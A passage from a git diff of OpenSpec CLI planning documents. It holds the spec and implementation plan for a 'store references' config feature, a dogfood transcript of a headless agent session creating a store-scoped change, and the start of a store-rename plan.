`archive` with `--store` for a second change +- **THEN** the second change completes the same lifecycle in the clone +- **AND** the final files are normal artifacts in the clone's `openspec/` + root + +#### Scenario: End State Is Just Normal Files + +- **WHEN** the journey completes +- **THEN** each checkout contains only normal `openspec/` artifacts, the + thin `.openspec-store/store.yaml` identity file, and Git state +- **AND** no initiative links, initiative collections, or workspace + planning state exist in the store, the project repo, or the simulated + global state +- **AND** the simulated global state contains only local registry and + config metadata diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-references/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-references/plan.md new file mode 100644 index 0000000000..5a898cb93f --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-references/plan.md @@ -0,0 +1,208 @@ +# Store References Plan (3.1) + +## Status + +Spec locked 2026-06-11 after two adversarial rounds (tolerant summary +extraction; both-surfaces-both-modes index; async command-boundary +assembly; 50KB shared budget; five warning codes; parse-raw/ +validate-in-assembler split; one-level rule). Plan drafted 2026-06-11. +Implementation not started. + +The main move: + +```text +One declaration in config, one async assembler, one index in every +instructions output — upstream specs become fetchable context, never +copied content. +``` + +## Source Of Truth + +Start from `spec.md` (this folder). Keep nearby: `../../roadmap.md` +(Phase 3 locked decisions), `../store-rename-and-guidance/spec.md` +(vocabulary and hint bars the new strings must meet). + +## Current Code Map (verified during spec review) + +- **Config**: `src/core/project-config.ts` — `ProjectConfigSchema` + (19-41), `readProjectConfig` (66-161) with resilient field-by-field + `safeParse`; unknown keys already tolerated; 50KB context cap at 45, + 103. Consumers: `instruction-loader.ts:292`. +- **Artifact instructions**: command at + `src/commands/workflow/instructions.ts` — root resolved (~74), sync + `generateInstructions(context, artifactId, projectRoot)` called + (~111), JSON emitted with `root: toRootOutput(root)` (~117), human + `<project_context>` block at 171-178 (conditional on `context`). + Generator: `src/core/artifact-graph/instruction-loader.ts:271-339`, + returns `ArtifactInstructions` (71-104). +- **Apply instructions**: `generateApplyInstructions` + (`instructions.ts:282-381`), JSON at ~418, human + `printApplyInstructionsText` (429-484, markdown-style sections). +- **Store resolution pipeline**: `resolveStoreRoot` + (`src/core/root-selection.ts:134-218`, private, async): registry + lookup (unknown-id error at 163-174), metadata identity check + (~187-203), root inspection via `inspectOpenSpecRoot` (healthy flag). + Registry read: `loadStoreRegistry`/`listStoreRegistryEntries` + (`src/core/store/{foundation,registry}.ts`). +- **Spec enumeration**: `getSpecIds` (`src/utils/item-discovery.ts:25-44`, + skips dirs without `spec.md`). Sections parsing: + `src/core/parsers/markdown-parser.ts` — `parseSections`/`findSection` + usable without `parseSpec`'s throw-on-missing validation (80-86). +- **Id grammar**: `isValidStoreId` (`src/core/store/foundation.ts:122-128`). +- **Path canonicalization for self-reference**: + `normalizePathForComparison` (`src/core/store/registry.ts:75-81`) or + `FileSystemUtils.canonicalizeExistingPath`. +- **Diagnostic shape**: severity/code/message/fix(/target) as in + `root-selection.ts:60-66` and store diagnostics. +- **Tests**: `test/core/project-config.test.ts`, + `test/core/artifact-graph/instruction-loader.test.ts`, + `test/commands/artifact-workflow.test.ts` (instructions output + assertions — verify name at implementation), `test/cli-e2e/`. + +## Implementation Plan + +### Checkpoint 1 — config + assembler core (commit) + +1. `project-config.ts`: add `references: z.array(z.string()).optional()` + to the schema; in the resilient parse, keep string entries, drop + non-strings (warn like other fields), dedupe order-preserving. No + grammar validation here (decision 8). +2. New `src/core/references.ts`: + - `export interface ReferenceSpecEntry { id: string; summary: string }` + - `export interface ReferenceIndexEntry { store_id: string; root?: string; + specs?: ReferenceSpecEntry[]; fetch?: string; status: Diagnostic[] }` + - `export async function assembleReferenceIndex(input: { + references: string[]; resolvedRoot: ResolvedOpenSpecRoot }): + Promise<ReferenceIndexEntry[]>` + - **One registry read for the whole call** (`readStoreRegistryState` + + `listStoreRegistryEntries`, `foundation.ts:319-332` — note: + missing registry file returns null → every reference degrades to + `reference_unresolved`; corrupt file throws → try/catch maps every + entry to `reference_registry_unreadable`). + - Per id: grammar check (`isValidStoreId`) → `reference_invalid_id`; + entry absent → `reference_unresolved` (fix carries `--id <id>`); + entry present → the shared inspection (below); all its failure + kinds → `reference_root_unhealthy` (incl. missing checkout path — + `inspectOpenSpecRoot` already reports `healthy:false` for a + nonexistent path); self-reference + (`FileSystemUtils.canonicalizeExistingPath` equality with + `resolvedRoot.path`, or `resolvedRoot.storeId === id`): omit the + entry entirely. + - **The extraction cut is narrow — stages 5-8 of `resolveStoreRoot` + only** (metadata read/identity check + root inspection + + canonicalization), as a new exported + `inspectRegisteredStore(id, storeRoot)` returning a discriminated + result (`ok` | `metadata_error` (captured StoreError) | + `metadata_missing` | `metadata_id_mismatch` | `unhealthy_root`). + `resolveStoreRoot` keeps stages 1-3 (validate, registry read, + entry lookup) inline — those are exactly where the assembler + deliberately diverges — and maps each failure kind to its existing + throw, rethrowing the captured metadata `StoreError` so every + current code and message stays byte-identical + (`invalid_store_id`, `invalid_store_registry`, + `invalid_store_metadata`, `no_registered_stores`, `unknown_store`, + `store_identity_mismatch`, `unhealthy_store_root`). + - Healthy: enumerate `getSpecIds(referencedRoot)`; per spec read + `spec.md` with a **self-contained ~15-line first-Purpose-line + scanner** (find the `## Purpose` heading, take the first non-empty + line; `parseSections`/`findSection` are `protected` on the parser + class — do not widen visibility); unreadable/unparseable → empty + summary. Build `fetch`: + `openspec show <spec-id> --type spec --store <id>`. + - **Pure renderers live here too**: + `renderReferencedStoresBlock(entries)` (artifact XML) and + `renderReferencedStoresSection(entries)` (apply markdown). The + assembler budgets incrementally against the larger of the two + renderings: stop appending spec entries once the next line would + exceed 50KB; the `reference_index_truncated` warning itself is + exempt from the cap (no oscillation). The command layer prints + these pre-rendered strings — no duplicate rendering logic. +3. Unit tests: `test/core/references.test.ts` covering every branch + (resolved, each diagnostic, self-ref, zero specs, missing Purpose, + unparseable file, dedupe+invalid mix, truncation) and + `project-config.test.ts` additions. + +### Checkpoint 2 — instruction surfaces + docs (commit) + +1. Command layer (`instructions.ts`): after root resolution, **read the + resolved root's config once** and pass it down — `generateInstructions` + gains an optional pre-read config param that suppresses its internal + `readProjectConfig` (omitted param keeps today's behavior for library + callers/tests; no double read), and the references list feeds + `await assembleReferenceIndex`. The index passes into + `generateInstructions` (populates `ArtifactInstructions.references`) + and into `generateApplyInstructions` (`ApplyInstructions` lives in + `src/commands/workflow/shared.ts:34` — commands layer, edit there). + Field omitted (not empty array) when no references are declared — + additive JSON. +2. Human output: + - Artifact mode: `<referenced_stores>` block printed in the fixed + slot after the conditional `<project_context>`; per-store lines as + in the spec UX (bare `- <id>` when summary empty; the + "not registered" form with the pasteable fix; the comment line + "Read-only upstream context. Fetch what you need; cite what you + use."). + - Apply mode: `### Referenced Stores` markdown section in + `printApplyInstructionsText`, same content in that file's style. +3. `docs/cli.md`: new "Referencing stores from a project" subsection in + the Stores section: the config key, the index behavior, one example. +4. Tests: instructions JSON shape for both surfaces (references + present/omitted), human output ordering pins (context+references, + references alone), apply human section; **symmetric-declaration + test** (`instructions --store <id> --json` with the cwd config + carrying *different* references — the index must be the store's); + **boundary byte-identity test** (`status --json` and `new change` in + a references-declared repo vs an identical repo without the key — + identical output apart from the instructions surfaces, store + untouched, no link metadata anywhere); **no-recursion assertion** + (referenced store's own config carries references — they don't + appear); **nothing-frozen assertion** (edit the store spec, re-run, + summary changes); **not-inlined assertion** (spec body text absent + from output); e2e layered-flow test in `test/cli-e2e/` (app repo + + registered store + reference → instructions index → run the printed + fetch verbatim → design artifact in app root cites the store spec → + validate/status; store untouched). +5. Full suite; built-binary smoke of the UX example. + +## Test Plan + +```bash +pnpm test -- test/core/references.test.ts test/core/project-config.test.ts +pnpm test -- test/core/artifact-graph test/commands/artifact-workflow.test.ts +pnpm run build && pnpm test -- test/cli-e2e/ +pnpm test # full, per checkpoint +``` + +## Risks And Guardrails + +- **Resolution fork risk**: the refactor must leave exactly one + metadata→health inspection path. The existing error contract (codes, + messages) must stay byte-identical — the nets are + `test/core/root-selection.test.ts` (pins all six resolver codes with + message substrings) and `test/commands/store-root-selection.test.ts` + (CLI layer). +- **Sync/async boundary**: `generateInstructions` stays sync; the index + is assembled in the command layer and passed in. Direct library + callers of `generateInstructions` (tests) keep working with the param + omitted. +- **Performance**: one registry read per command invocation (not per + reference); spec enumeration only for healthy resolved stores; + first-line extraction reads each spec file once. No caching in 3.1. +- **JSON additivity**: `references` omitted when undeclared, so + existing consumers see byte-identical output — pin with a + no-references snapshot assertion. +- **Vocabulary/error bars**: every fix string pasteable (`--id <id>`, + `openspec store doctor <id>`); absolute `root` paths; "referenced + store(s)" as the only noun. +- **50KB budget mechanics**: measure on the rendered human block (the + larger of the two renderings) so one budget covers both surfaces; + truncation must keep valid structure (no half entries). + +## Done Definition + +- All spec acceptance scenarios pass; both checkpoints green on the + full suite and committed. +- The e2e layered flow proves the PM-to-dev journey against the built + binary, including the verbatim fetch. +- Roadmap 3.1 boxes ticked through "Tests pass"; changelog updated; + pointer moved to 3.2. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-references/spec.md b/openspec/work/simplify-context-and-workspace-model/slices/store-references/spec.md new file mode 100644 index 0000000000..28b51e9ccb --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-references/spec.md @@ -0,0 +1,311 @@ +# Store References Spec (3.1) + +## Outcome + +A project repo can declare, once, which stores its work draws on — and +from then on, every agent session in that repo sees an **index** of those +stores' specs inside the instructions it already reads: what exists, one +line about each, and the exact command to fetch any of them. Upstream +truth stays in the store; downstream work stays in the repo's own root; +the connection is a declaration plus citations, never redirection, +copy-paste, or per-change links. + +This is the headline PM/architect-to-dev layering flow: requirements +live in `team-context`, the dev's agent writing a low-level design in +the app repo discovers them from config, fetches what it needs with +`--store`, and cites them. + +## Locked Decisions (roadmap, 2026-06-11) + +1. **Index, not inline.** Referenced-store content is never inlined into + generated instructions. Instructions carry an index (spec ids, + one-line summaries, the fetch recipe via `--store`) built **live from + the registered checkout at assembly time**; the agent fetches what it + needs. Inlining would freeze upstream content at generation time — + the copy-paste failure this effort exists to kill. +2. **Declarations live in `openspec/config.yaml`.** A `references:` list + of store ids, sharing the one id namespace (kebab grammar) locked for + Phase 3. +3. **Relationships are location, declaration, or citation — never + managed artifact links.** No per-change edge objects; artifact-level + derivation ("derives from team-context/billing") is prose citation. +4. **Root resolution is untouched.** References are read-only context. A + declared reference never changes where commands act; writing to a + referenced store remains an explicit `--store` action and a separate + change in that store. The fixed precedence (explicit `--store` → + nearest local root → declared fallback (3.2) → error) gains nothing + from this slice. +5. **An unresolvable reference is reported with a clear next step, not + silently ignored.** + +## Decisions This Spec Makes (autonomous, recorded in the changelog) + +1. **The index lives in both instruction surfaces, both modes.** + Artifact instructions (`openspec instructions <artifact> --change + ...`) and apply instructions (`openspec instructions apply`) both + carry it, built by one shared assembler. Artifact human mode prints + the `<referenced_stores>` XML block (mirroring `<project_context>`); + apply human mode prints a `### Referenced Stores` markdown section + matching its existing markdown style (`printApplyInstructionsText` + is a real human surface — `instructions.ts:429-484`). No other + command changes. +2. **The summary is the first non-empty line of the spec's Purpose + section, extracted tolerantly.** NOT via `parseSpec()` — that + throws on a missing Purpose or Requirements section + (`src/core/parsers/markdown-parser.ts:80-86`) and the index must + never fail on an imperfect upstream spec. The assembler scans + sections directly; a spec with no Purpose, an unreadable file, or + an unparseable file indexes with an empty summary (rendered as the + bare `- <id>` line, no dangling colon). No new authoring + requirement on stores. +3. **Problems degrade to warnings, never to silence or failure.** + Instructions still generate; a problem entry carries the established + `severity`/`code`/`message`/`fix` diagnostic shape (severity + `warning` for all reference codes — JSON consumers must be able to + distinguish degraded context from errors). New codes: + - `reference_unresolved` — the id has no registry entry; fix names + the id concretely: "get a checkout from a teammate and run: + openspec store register <path> --id <the-referenced-id>" (naming + a clone source is 3.3's job). + - `reference_invalid_id` — entry fails the kebab id grammar; fix: + use kebab-case ids in `references:`. (Deliberately distinct from + the CLI's hard-error `invalid_store_id`: same grammar, different + contract — the index degrades where the CLI refuses.) + - `reference_root_unhealthy` — the registry resolved the id but + anything after that failed (missing checkout path, missing or + mismatched store metadata, unhealthy OpenSpec root per + `inspectOpenSpecRoot().healthy === false`); fix: + `openspec store doctor <id>`. + A self-reference (the resolved root IS the referenced store, by + canonicalized-path equality or matching resolved `store_id`) is + omitted with no diagnostic — referencing yourself is meaningless; a + root whose only reference is itself simply gets an empty index. +4. **The declaration is symmetric, and the index is exactly one level + deep.** The assembler reads the *resolved root's* config — a store's + own config may carry `references:`, and a session running + `--store team-context` sees that store's upstream references. But a + referenced store's own `references:` are never followed: no + recursion, so circular declarations (A↔B) are structurally + harmless. +5. **One shared resolution path, async at the command boundary.** The + assembler must not fork store resolution: it reuses the + registry-lookup → metadata-check → root-inspection pipeline that + `resolveStoreRoot` (`src/core/root-selection.ts:134-218`) owns, via + a non-throwing read-only variant extracted from it — never a + re-implementation. Because that pipeline is async while + `generateInstructions` is sync (`instruction-loader.ts:271`), the + index is assembled by an async core helper invoked from the command + layer after root resolution, and passed into the (still-sync) + generators as an input — no async-ification of the instruction + loader. A registry that cannot be read or parsed at all degrades the + same way as everything else: each declared reference indexes with a + `reference_registry_unreadable` warning (fix: + `openspec store doctor`). +6. **The list is deduplicated, order-preserving, and budgeted like + context.** A resolved store with zero specs indexes as an entry with + `specs: []` (the agent learns the store resolved and holds nothing). + The rendered index shares the spirit of the existing 50KB + project-context cap (`project-config.ts:45`): if the rendered index + would exceed 50KB, per-store spec lists are truncated + (order-preserving) and the entry carries a + `reference_index_truncated` warning naming the cap — the agent can + still fetch anything by listing the store directly. +7. **Vocabulary**: the user-facing noun is "referenced store(s)"; the + JSON field is `references` (matching the config key). No workflow + template changes in this slice — templates already direct agents to + read instructions output, and the index is self-describing. +8. **Config parsing keeps raw strings; the assembler validates.** + `readProjectConfig` accepts `references` as an optional array, + keeping string-typed entries (deduplicated, order-preserving) and + dropping only non-strings per the existing resilient style; id + grammar is the assembler's job so invalid ids surface as index + diagnostics instead of being silently dropped at parse time. + +## User Experience + +A PM keeps requirements in the team store. The app repo declares the +relationship once: + +```yaml +# app-repo/openspec/config.yaml +schema: spec-driven +references: + - team-context +``` + +A dev tells their agent "write the low-level design for billing +invoicing". The agent runs the instructions command it already uses: + +```text +$ openspec instructions design --change billing-rework +... +<referenced_stores> +<!-- Read-only upstream context. Fetch what you need; cite what you use. --> +Store team-context (/Users/dev/src/team-context): + - billing: Billing must support usage-based invoicing across regions + - auth-sso: Single sign-on requirements for enterprise tenants + Fetch: openspec show <spec-id> --type spec --store team-context +</referenced_stores> +``` + +The agent fetches `openspec show billing --type spec --store +team-context`, writes the design in the app repo's own root, and cites +`team-context/billing` in prose. Nothing redirected the change to the +store; nothing copied the requirement into the repo. + +When the store is not registered on this machine, the agent (and the +human) see exactly what to do instead of silently missing context: + +```text +<referenced_stores> +Store team-context: not registered on this machine. + Fix: get a checkout from a teammate and run: openspec store register <path> --id team-context +</referenced_stores> +``` + +## Scope + +In scope: + +- **Config**: `references:` (optional array of store ids) in + `ProjectConfigSchema` (`src/core/project-config.ts:19-41`), parsed + with the existing resilient field-by-field style; invalid entries + surface through the index diagnostics, valid entries survive. +- **One shared index assembler** (new module under `src/core/`, e.g. + `references.ts`): resolve each id through the shared non-throwing + resolution variant (decision 5), enumerate the referenced root's + `openspec/specs/`, extract first-line summaries tolerantly + (decision 2), and emit per-store entries + `{store_id, root, specs: [{id, summary}], fetch, status: [...]}` + (`root` absolute; `fetch` the per-store recipe string). +- **Artifact instructions**: `generateInstructions` + (`src/core/artifact-graph/instruction-loader.ts:271-339`) gains a + `references` field; human mode prints the `<referenced_stores>` block + in the fixed position after the (conditional) `<project_context>` + block (`src/commands/workflow/instructions.ts:171-178`) — when + `context:` is absent, the references block prints in that same slot. +- **Apply instructions**: `generateApplyInstructions` + (`src/commands/workflow/instructions.ts:282-381`) gains the same + field; `printApplyInstructionsText` gains a `### Referenced Stores` + markdown section in its existing style. +- **Diagnostics**: the five new warning codes above + (`reference_unresolved`, `reference_invalid_id`, + `reference_root_unhealthy`, `reference_registry_unreadable`, + `reference_index_truncated`), in the established shape. +- **Tests**: config parsing (valid, dedup, non-string entries dropped, + raw invalid-grammar strings kept); assembler unit coverage (resolved, + unresolved, unhealthy incl. missing checkout path, self-reference, + zero-spec store, missing Purpose, unparseable spec file); + instructions JSON + human output for both surfaces, including the + context+references ordering pin and the references-without-context + placement; an e2e test of the layered flow — app repo with a + reference, registered store with a spec, `instructions` output + carries the index, and the printed fetch command runs verbatim + against the built binary. +- **Docs**: a "Referencing stores from a project" subsection in + `docs/cli.md`'s Stores section documenting the `references:` config + key (no such config-key reference exists today — this subsection is + created, not extended). + +Out of scope: + +- The fallback `store:` pointer for rootless repos (3.2). +- Canonical remotes in store identity and clone-source hints (3.3). +- Later relationship health in doctor (3.6) — instructions-inline diagnostics + are this slice's only health surface. +- Any change to root resolution, the `--store` flag, or write paths. +- Inlining spec content, caching the index, or citation enforcement. +- `context:` field changes; docs rewrites beyond `docs/cli.md`'s + config-reference section gaining the `references:` key. + +## Acceptance Criteria + +### The Declaration + +#### Scenario: References Parse Resiliently + +- **GIVEN** `openspec/config.yaml` with `references: [team-context, + team-context, BAD ID, other-context, 7]` +- **WHEN** the config is read +- **THEN** the parsed references are `[team-context, BAD ID, + other-context]` (deduplicated, order-preserving, string entries only + — grammar validation is the assembler's job, decision 8) +- **AND** the index output carries a `reference_invalid_id` warning + naming `BAD ID` with the kebab-grammar fix +- **AND** a config with no `references:` key behaves exactly as today + +### The Index + +#### Scenario: Instructions Carry The Live Index + +- **GIVEN** an app repo whose config references a registered store + containing specs `billing` and `auth-sso` +- **WHEN** `openspec instructions <artifact> --change <id> --json` runs + in the app repo +- **THEN** the JSON carries `references: [{store_id: "team-context", + root: <absolute path>, specs: [{id, summary}, ...], fetch: "openspec + show <spec-id> --type spec --store team-context"}]` +- **AND** the summaries are the first non-empty Purpose lines, read from + the store checkout at this moment (editing the store and re-running + instructions changes the summary — nothing is frozen) +- **AND** spec content is NOT inlined anywhere in the output +- **AND** human mode prints the `<referenced_stores>` block with the + same information +- **AND** `instructions apply --change <id> --json` carries the same + `references` field + +#### Scenario: The Fetch Recipe Works Verbatim + +- **WHEN** the agent runs the printed fetch command with a real spec id +- **THEN** it returns that spec from the store, read-only, while the + session's own commands keep acting on the app repo's root + +#### Scenario: Problems Are Reported, Never Silent + +- **GIVEN** a reference to an id absent from the local registry +- **WHEN** instructions run +- **THEN** generation succeeds, and the index entry carries + `reference_unresolved` (severity `warning`) with a fix naming the + referenced id: `openspec store register <path> --id <id>` +- **AND** a registered referenced root that is unhealthy — or whose + checkout path no longer exists on disk — yields + `reference_root_unhealthy` with the `openspec store doctor <id>` fix +- **AND** when the resolved root IS the referenced store (self + reference), the entry is omitted with no diagnostic +- **AND** a referenced store's own `references:` are never followed + (one level deep; A↔B circular declarations cause no recursion) + +### The Boundaries Hold + +#### Scenario: References Never Move The Root + +- **GIVEN** the app repo declares `references: [team-context]` +- **WHEN** `new change`, `status`, `validate`, or `archive` run without + `--store` +- **THEN** they act on the app repo's own root, byte-identical to a repo + with no references +- **AND** no command writes anything into the referenced store +- **AND** no per-change link metadata is created anywhere + +#### Scenario: Symmetric Declarations + +- **GIVEN** a store whose own config carries `references: + [upstream-context]` +- **WHEN** `instructions ... --store team-context --json` runs +- **THEN** the index reflects `team-context`'s references (resolved + root's config, not the cwd's) + +### The Layered Flow End To End + +#### Scenario: PM-To-Dev Journey + +- **GIVEN** a registered store with a `billing` spec carrying a Purpose + section, and an app repo with its own root and a `references` + declaration +- **WHEN** the e2e test drives: `instructions design --change + billing-rework --json` in the app repo → reads the index → runs the + fetch command → writes a design artifact in the app repo citing + `team-context/billing` → `validate` and `status` +- **THEN** every step succeeds against the built binary +- **AND** the design lands in the app repo's `openspec/changes/`, the + store is untouched, and the citation is plain prose in the artifact diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/dogfood-transcript.md b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/dogfood-transcript.md new file mode 100644 index 0000000000..4131b19b47 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/dogfood-transcript.md @@ -0,0 +1,78 @@ +# Dogfood Proof: Single-Prompt Store-Scoped Change + +Slice 1.4 acceptance evidence (spec scenario "Single-Prompt Store-Scoped +Change"). Run 2026-06-11 against the built CLI at commit `d2b62cc` (plus +the checkpoint-4 test work in progress). + +## Arrangement + +- Scratch project repo `/tmp/openspec-dogfood-14/app-repo` (git-inited), + prepared with `openspec init . --tools claude --profile core` — so the + repo has its own local OpenSpec root and the five generated core + workflow skills under `.claude/skills/`. +- Isolated machine state: `XDG_DATA_HOME`/`XDG_CONFIG_HOME` pointed at + scratch dirs; `OPENSPEC_TELEMETRY=0`; `openspec` on PATH via a shim to + the repo's built `bin/openspec.js`. +- Store: `openspec store setup team-context --path + /tmp/openspec-dogfood-14/team-context` (Git on by default, initial + commit created), registered in the isolated state. + +## The prompt (verbatim, the only instruction given) + +```text +Create a change in our team store for reworking billing invoicing. Just +create the change itself, no need to write the artifacts yet. +``` + +No ids, paths, or flags. The store is named only in words ("our team +store"). + +Invocation: `claude -p "<prompt>" --dangerously-skip-permissions +--max-turns 25 --output-format text`, cwd = the app repo. + +## What the agent did (tool calls, from the session log) + +```text +TOOL Bash: openspec --help 2>&1 | head -50 +TOOL Bash: ls -la /private/tmp/openspec-dogfood-14/app-repo +TOOL Bash: openspec store --help 2>&1; echo "---"; openspec store list 2>&1 +TOOL Bash: openspec new --help 2>&1; echo "---"; openspec change --help 2>&1 +TOOL Bash: openspec new change --help 2>&1 +TOOL Bash: openspec new change rework-billing-invoicing --store team-context --description "Rework billing invoicing" 2>&1 +``` + +Six tool calls: top-level help → store group help + `store list` +(discovered `team-context`) → command help → one store-scoped creation. +No initiative or workspace command was invoked at any point. + +## The agent's final message + +> Done. I created the change `rework-billing-invoicing` in the +> `team-context` store at +> `/private/tmp/openspec-dogfood-14/team-context/openspec/changes/rework-billing-invoicing/`, +> using the default `spec-driven` schema with the description "Rework +> billing invoicing". +> +> No artifacts (proposal, design, specs, tasks) have been written yet, +> per your request. When you're ready to flesh it out, you can run +> `openspec status --change rework-billing-invoicing --store +> team-context` to see the artifact checklist, or ask me to generate the +> artifacts. + +Note the agent's own follow-up suggestion carries `--store team-context` +— the hint-continuity contract from slice 1.3 surviving into agent +behavior. + +## End-state assertions (verified on disk) + +- `team-context/openspec/changes/` contains `rework-billing-invoicing/` + (plus `archive/`). ✓ +- The app repo's local `openspec/changes/` contains no change — the + local root was not misused despite being the nearest root. ✓ +- No `initiatives/` directory in the store; the isolated + `XDG_DATA_HOME/openspec/` contains only `stores/` (registry). ✓ + +Verdict: **pass**. A fresh headless agent session, given one plain +prompt and only the generated guidance plus `--help` output, discovered +the registered store and completed a store-scoped change without +hand-holding. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/plan.md new file mode 100644 index 0000000000..ef5fc32593 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/store-rename-and-guidance/plan.md @@ -0,0 +1,434 @@ +# Store Rename And Guidance Pass Plan + +## Status + +Spec locked 2026-06-11 after two parallel adversarial reviews (subagent + +codex CLI); all findings folded, including the governing rule the reviews +converged on: **total mechanical token rename, surgical prose rewrite, +behavior changes limited to the two riders.** Plan drafted 2026-06-11. +Implementation not started. + +The main product move: + +```text +One noun — store — everywhere, and guidance that makes agents discover +stores instead of being told about them. +``` + +## Source Of Truth + +Start from `spec.md` (this folder). Also keep nearby: + +- `../../roadmap.md` (1.4 section, locked terminology decision, 5.1 + criteria) +- `../store-root-selection/spec.md` (the `--store` selector semantics this + slice renames around) +- `../store-lifecycle-proof/spec.md` (hint continuity contracts that must + survive the rename) + +Sequencing: stacks directly on the `codex/store-root-parity` tip (slices +1.1–1.3 implemented). The next queue item (the Phase 5 command-group +deletion) assumes this slice already stopped guidance from advertising the +groups it will delete. + +## User-Facing Frame + +What the human wants: + +- "Stop making me translate between 'context store', `--store`, and + `context_store_*`. One word." +- "When I tell my agent 'use the team store', it should just find it." +- "Help and docs should describe the product I actually have." + +What the agent needs: + +- A generated skill that says how to discover stores + (`openspec store list --json`) and to carry `--store <id>` on every + command when work selects a store. +- Errors and hints that paste-and-run, even on the legacy surfaces that + survive until the next slice. + +How we know it worked: + +- The repo-wide token sweep comes back empty outside the whitelist, and + the sweep is itself a test. +- The headless dogfood: one plain prompt, store discovered, change created + in the store root. + +## Goals + +- Rename the `context-store` group to `store` (subcommands unchanged), the + machine tokens (45 diagnostic codes, dotted `context_store.*` diagnostic + fields, + JSON keys, data dir `context-stores/` → `stores/`), and the internal + identifiers (module dir, command file, symbols, test files). +- Land the two riders: `workspace open` loses `--store`/`--store-path`; + the `store` group gains an unknown-subcommand hint. +- Regenerate guidance: store teaching in all workflow skill templates, + legacy labeling for workspace/initiative, rewritten + `.codex/skills/use-openspec/`, docs accuracy pass. +- Encode the vocabulary sweep as a test; guard the committed format + literals with tests. +- Run the headless dogfood proof and keep the transcript. + +## Non-Goals + +- No deletion of the `workspace`/`initiative` groups (next slice); no + restructuring of their internals beyond token substitution. +- No changes to `schemas/workspace-planning/`, the `workspace-planning` + schema name, or the `actionContext.mode` contract value. +- No resolver, setup, register, or doctor behavior changes; no new flags. +- No migration of the old `context-stores/` data dir. +- No `.openspec-store/store.yaml` or registry shape changes. +- No public concept-docs rewrite beyond the accuracy pass. + +## Current Code Map + +### The store feature (renames wholesale) + +- `src/core/context-store/` → becomes `src/core/store/`: + - `foundation.ts` — constants at lines 12–15: + `CONTEXT_STORE_METADATA_DIR_NAME = '.openspec-store'` and + `CONTEXT_STORE_METADATA_FILE_NAME = 'store.yaml'` **keep their + values** (symbols rename); `CONTEXT_STORES_DIR_NAME = + 'context-stores'` renames symbol *and value* (→ `'stores'`); + `CONTEXT_STORE_REGISTRY_FILE_NAME = 'registry.yaml'` keeps its value. + Path fns at 59–65; **`getDefaultContextStoreRoot` at 67–69 is deleted** + (dead since 1.3 made `--path` required). Codes: + `invalid_context_store_id` (104, 115), `invalid_context_store_metadata` + (209), `invalid_context_store_registry` (216), + `context_store_registry_busy` (392). + - `operations.ts` (~1077 lines) — setup/register/doctor operations, + ~20 codes, `context_store.*` dotted diagnostic fields, "context store" prose in + errors. + - `registry.ts` — `context_store_id_conflict` (100), + `context_store_path_conflict` (111), `context_store_not_found` + (149, 382), `no_context_store_registry` (403). + - `binding.ts` — selector/binding codes (184, 202, 242, 245, 257, 268, + 271, 320, 323). + - `git.ts` — `context_store_git_*` codes; `errors.ts` — + `ContextStoreError`; `index.ts` — exports. +- `src/commands/context-store.ts` (751 lines) → `src/commands/store.ts`: + `registerContextStoreCommand` at 691–751 (group + 6 subcommands, `ls` + alias at 737); output interfaces with `context_store`/`context_stores` + JSON keys at 60, 76, 90, 111 (mapped at 143–211); `context_store_error` + (225) and setup/register/remove cancellation codes (290–407). +- `src/cli/index.ts` — import (22), `STORE_OPTION_DESCRIPTION` (41), + `hiddenStorePathOption` rejection text naming `context-store register` + (47–53), telemetry generic command-path tracker (100–101), registration + call (349). + +### Other live surfaces (token substitution per the rename rule) + +- `src/core/root-selection.ts` — "context store" error prose (156, 166, + 258) and `context_store.*` dotted diagnostic fields (159–228). +- `src/core/openspec-root.ts` — dotted diagnostic fields (110, 119). +- `src/core/change-metadata/schema.ts:14` — "Context store id" message. +- `src/core/collections/runtime.ts:282` — prose. +- `src/core/collections/initiatives/resolution.ts` — codes + `context_stores_unreadable` (548) / `context_stores_partially_unreadable`, + pasteable fix texts naming `context-store` commands (551, 565, 625), + selector advertising (192, 234 — must name surviving selectors only + after rider 1). +- `src/commands/initiative.ts` — JSON keys (50–71), `--store`/ + `--store-path` descriptions (464–469), group one-liner (476). +- `src/commands/workspace/` — group one-liner (`registration.ts:53`), + `open` selectors to remove (`registration.ts:138–139`), JSON key and + `workspace_context_store_unavailable` (`open-view.ts:61, 209, 211`), + fix text (`context-status.ts:48`), binding usage + fix text + picker + labels (`open-target-selection.ts:88, 142, 221`). +- `src/core/workspace/open-surface.ts` — legacy generated workspace + guidance mentioning context stores (21, 120–138): token substitution + only. +- `src/core/workspace/foundation.ts` — `ContextStoreBinding`/ + `ContextStoreSelector` types, zod schemas, and helpers (5–8, 47, + 155–181, 327–361); `src/commands/workspace/operations.ts:795` (fix + text); `src/commands/workspace.ts:219` (printed line + "Initiative/context-store files are shared coordination context."); + `src/commands/workspace/types.ts:1,24`; `src/core/index.ts:16` + (re-export of `./context-store/index.js`); + `src/core/change-status-policy.ts:44` and + `src/commands/workflow/new-change.ts:5` (doc comments). +- **This map is grep-grounded but not exhaustive by construction**: CP1 + is sweep-driven (`rg` over the four token forms), and the CP4 sweep + test is the backstop. Do not treat the listed files as the full set. + +### Completions + +- `src/core/completions/shared-flags.ts:29–33` — `--store` description. +- `src/core/completions/command-registry.ts` — workspace group (251+), + `workspace open` selectors (383–392), `context-store` group (419+), + initiative group (511+). Parity with live Commander commands is + enforced by `test/core/completions/command-registry.test.ts:144–150` + (`assertRegistryParity`), so registration and registry must change + together. + +### Generated guidance + +- `src/core/templates/workflows/` — 12 files; each exports a skill + template and an opsx command template with identical instruction + bodies (hence guards appearing twice per file). Guards in apply-change + (54, 214), archive-change (37, 155), bulk-archive-change (44, 293), + sync-specs (36, 184), verify-change (38, 210). Out-of-guard workspace + prose: continue-change (72, 192), onboard (281). +- Generation: `src/core/shared/skill-generation.ts` (template registry at + 56–69, `generateSkillContent` at 127–149); profile selection in + 